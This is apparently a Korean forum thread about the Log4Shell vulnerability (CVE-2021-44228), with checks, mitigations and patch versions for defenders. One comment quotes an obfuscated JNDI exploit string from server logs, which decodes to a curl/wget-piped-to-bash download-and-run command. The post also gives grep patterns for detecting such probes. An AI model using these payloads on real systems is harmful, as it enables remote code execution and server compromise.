최대의 보안사고 중 하나가 터지는 것 같군요. CVE-2021-44228 혹은 Log4Shell 이라는 취약점으로, log4j 라는 모듈 때문인데, Apache 서버를 사용하는 분들은 우선 조심하셔야겠습니다. 

 

apache-log4j1.2 혹은 apache-log4j2 라는 것이 설치되어 있으면 영향을 받는 것 같습니다. 

 

예를들면, Ubuntu/Debian 서버라면

% apt list --installed | grep "log4j"

% dpkg -l | grep log4j                (또는)

해서 목록이 뜨는지 체크해보세요. 만약 해당사항이 있다면 추가 조치가 필요합니다. 

 

1. log4j를 2.15.0 2.17.0 버전 이상으로 올리면 되는데, 정식 릴리즈 된 것이 아니라 설치하는데 손이 좀 가야겠지요.
2. log4j2.formatMsgNoLookups 속성을 true로 바꿔줘도 된다고 하네요 (log4j가 2.10.0이상인 경우). 터미널에서
% java -Dlog4j2.formatMsgNoLookups=true -jar myapp.jar
이렇게 한다는군요.
3. 그 밑에 버전들도 꼼수가 있기는 하네요.

 

초보자도 따라할수 있을만큼 쉽고도 막강한 기능(?)이라서 이를 활용한 랜섬웨어가 곧 등장할 것 같다는 것이 관련자들의 견해 같습니다 ㅠㅠ.
 

PS: 혹시 본인 시스템에 취약점이 있는지 누가 스캔하고 갔는지 찾아보려면 다음과 같이 터미널에서 입력하면 됩니다. (nginx 사용하고 로그파일이 /var/log/nginx/*.log에 있을 경우의 예)

 

% egrep -i -r '\$\{jndi:(ldap[s]?|rmi|dns):/[^\n]+' /var/log/nginx/*.log

% egrep -i -r '\$\{jndi:' /var/log/nginx/*.log

 

Update) 나중에 찾아보시는 분들의 정보 차원에서 업데이트 합니다. CVE-2021-44228 취약점이 패치된 버전은 최종적으로,

  • Java 7을 써야하는 사람 : Log4j 2.12- ==> Log4j 2.12.2+ 2.12.3+ 버전으로 업데이트
  • Java 8을 쓰는 사람 : Log4j 2.13+ ==> Log4j 2.15.0+  2.17.0+ 버전으로 업데이트

2.12에 머물러야 하는 사람들이 많아서, 지원중단된 버전임에도 패치 2.12.2+ 를 내놨네요. (패치 버전에 혼선이 있는 것은, 중간 위험도의 DoS 취약점 2개를 패치하느라 2.15 -> 2.17로 되어서지만, 이런 유형은 수도없이 나오는 것이라서 계속 언급할 필요는 없어 보입니다~ㅎ)

  • profile

    흔히 사용하는 아파치 웹서버(httpd)와는 무관합니다.

     

    아파치 재단에서 굉장히 다양한 오픈소스 프로젝트들을 관리해 주고 있는데, log4j는 그 중 하나일 뿐이며 아파치라는 이름이 붙은 대부분의 다른 프로그램들과는 관련이 없습니다. 아, 물론 자바에서는 나름 유명한 라이브러리이기 때문에 자바로 만든 프로그램을 서버에서 돌리고 있다면 주의해야 합니다. RXE 커뮤니티에서 흔한 상황은 아니겠지만, 저는 아까부터 엘라스틱서치 사용하시는 분들 서버를 패치해 드리고 있네요.. ㅠㅠ

     

    우분투 등 일반적인 리눅스 배포판에서 기본 제공하는 버전을 사용하신다면 조만간 apt-get이나 yum 등으로 업데이트할 수 있을 테니 임의로 덮어씌우기보다는 설정만 땜빵해놓고 조금 기다리는 것을 추천합니다.

     

    단, 엘라스틱서치처럼 설정만 변경해서는 문제가 해결되지 않는 경우도 있습니다. 이 경우 log4j-core.버전.jar 파일을 일반적인 압축 프로그램으로 열어서 org/apache/logging/log4j/core/lookup/JndiLookup.class 파일만 삭제하고 다시 올리는 방법도 정식 업데이트를 기다리는 동안 임시땜방 방편으로는 꽤 괜찮습니다. (jar 파일은 사실상 zip 파일이므로 반디집 등으로 열어서 쉽게 조작할 수 있습니다.) 그런데 기왕 jar 파일을 직접 건드릴 거라면 취약점이 해결된 2.15.0 버전의 core 및 api 파일을 구해서 덮어씌우더라도 문제없을 가능성이 높습니다. 워낙 보수적으로 패치되는 프로그램이라...

  • profile profile

    아 그렇군요. 제가 쓰는 서버들 돌아다니면서 체크해보고 있는데, 저는 쓰고 있지 않아서 다행이기는 합니다. 하지만 제가 접속하는 사이트들 관리자들이 모두 빠릿빠릿한 것은 아닐테니까, 앞으로 어디선가는 제 정보가 줄줄 새나가겠네요... ㅠ... 혹은 맬웨어에 감염된 사이트에 접속해서 브라우져가 이상해지던가요 ㅎㅎ....

  • profile profile

    해외에서는 마인크래프트가 비상이고... 국내에서는 자바를 많이 사용하는 공공기관과 기업들이 문제입니다. log4j가 기본 탑재된 스프링 프레임워크를 표준으로 정해 버렸으니...

     

    EDIT: 전자정부프레임워크에 탑재된 버전이 너무 오래되어서 오히려 해킹이 안 된다는 썰이 들리네요. ㅋㅋㅋ

  • profile
    상세한 정보 감사드립니다
  • profile

    로그파일을 보면 어제만해도 보안회사 화이트봇들이 연구용으로 검색하고 다니는 것이 전부였는데, 지금은 러시아 IP를 비롯해서 여러 곳의 봇들이 해킹 명령어를 쓰면서 다니고 있네요.

     

    예를들면, ${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://xx.xx.xx.xx:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3.......... 이런식인데, decoding해보니까 (curl -s .... || wget -q -O- ...) | bash 이런 명령어를 실행하는 것이네요. 패치안한 서버들은 오늘을 못넘길 것 같습니다.

  • profile profile

    네, 제가 관리중인 사이트 로그에도 ${jndi 뭐시기 하는 해킹 시도가 몇 개씩 보입니다. URL에 직접 집어넣는 경우도 있고, 리퍼러나 user-agent 헤더에 넣는 경우도 있고... 그래도 자바가 아닌 PHP로 돌아가는 사이트라는 것이 너무 뻔히 보여서 그런지, 많이 시도하지는 않고 금방 포기하네요. ㅎㅎ

     

    문제는 클플 걸어놓은 사이트에서도 마찬가지로 이런 시도가 보인다는 점입니다. 클플은 이런 거 안 막아주고 뭐하는 건지... 요즘 디도스도 전혀 못 막고, 클플이 점점 무쓸모가 되어 가고 있네요.

  • profile profile

    제 경우, 외부에 IP가 알려지지 않은 내부 서버에도 해킹시도한 로그가 있는 것으로봐서 그냥 IP를 무한대입하면서 전세계 컴퓨터 모두를 다 훑고 다니는 것 같습니다 ㅎ. PS: 최초 RCE 시도한 기록이 12/10일 1:22PM (UTC) 시간부터 있네요.

  • profile
    마인크래프트에서 쏘아올린 작은 공이 이렇게까지 커질 줄은...
    마크 쪽에서는 벌써부터 해외 국내 가리지 않고 악용되고 있더라구요 ㅠㅠ
  • profile profile

    알고보니 마인크래프트 인기가 높은 게임이더군요. 간편하게(?) 채팅창에서 명령어만 입력해주면 된다니...

  • profile

    제가 마인크래프트 서버를 10년째 운영하고 있는데, 이 이슈 터지자마자 메세지가 많이와서 제 서버도 긴급패치를 진행했네요.

    근데 아시다시피 log4j는 java라이브러리 이니까 php에는 영향이 전혀없을거에요.

    APM 또는 NPM 에는 영향이 전혀 없음.

  • profile

    이거 때문에 주말에 전화받고 난리도 아닙니다. ㅠ
    다행히 다른거 쓰고있었네요

  • ?
    보안관련 이슈가 나오면 가슴이 콩닥콩닥 하네요.
  • profile

    몇일간 패턴이 이렇다네요. 서버를 폭파시키는 경우는 거의 없는 것 같고, 서버 관리자도 모르게 채굴프로그램 깔아놓기, 랜섬웨어 심기, 백도어 열어놓고 조용히 빠진다음 접속정보를 옥션에 내다 팔기, 다른 서버 공격에 이용하기... 패치가 늦었던 서버들은 패치만으로  끝내면 안되고, 모르는 프로그램이 돌아가는지, 백도어 열려있는지도 점검하고, 접속키와 ssl 변경 등을 해야 할것 같습니다.

  • profile
    좀 무섭네요. 공공기관 서버가 취약하다면 내 정보가 줄줄 새고 있는 건가요 ㅠㅠ